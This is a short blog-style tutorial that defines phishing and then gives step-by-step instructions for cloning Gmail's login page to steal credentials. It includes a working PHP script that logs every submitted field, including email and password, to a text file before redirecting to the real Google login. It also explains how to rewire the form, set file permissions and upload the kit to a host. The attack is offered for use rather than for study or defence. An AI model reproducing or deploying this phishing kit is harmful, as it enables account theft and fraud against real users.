Phishing Explained + How To Create Gmail Phishing Page

What is phishing?

Phishing is the process of stealing sensitive information, such as
usernames, passwords, and bank information, by pretending to be someone
you’re not. An example of this would be if you receive and e-mail from a hacker
pretending to be your bank. In this e-mail, it might tell you that you need to
update your account before it expires, and then the hacker provides a link. Once
you click on the link, you arrive at a website that looks exactly like your actual
bank page. In reality it’s just a perfect replica, and when you input your login
details, it sends it to the hackers email or stores it on his web server. Hackers that
create the best, most deceiving phishing web pages are knowledgeable in the
area of HTML and the PHP programming.


Example how to create gmail phishing page.

Step 1.
Go to http://gmail.com
Click File>Save Page As... or Ctrl+ S and save page.



Once you saved, rename ServiceLogin.htm to index.htm so when you upload it to a web
host and someone goes to your link, the index page is the first page that
shows up.

Step 2.
Open text editor and add this code:

<?php
header ('Location: https://www.google.com/accounts/ServiceLoginAuth?service=mail ');$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}fwrite($handle, "\r\n");fclose($handle);
exit;?>

 Save it as mail.php

Now create simple text document and name it logs.txt
Open logs.txt and this:
ltmpl=default
ltmplcache=2
continue=http://mail.google.com/mail/?
service=mail
rm=false
Email=victim@gmail.com
Passwd=victimpassword
rmShown=1
signIn=Sign in

Step 3.
Open index.htm whit text editor and find this line:

 

 Change it to this and save it: 

<form id="gaia_loginform" action="mail.php" method="post"> 

 Step 4.
By now you will have 4files


Upload them all to your hosting and chmod logs.txt to 777
And you are done!

Posted in: tutorials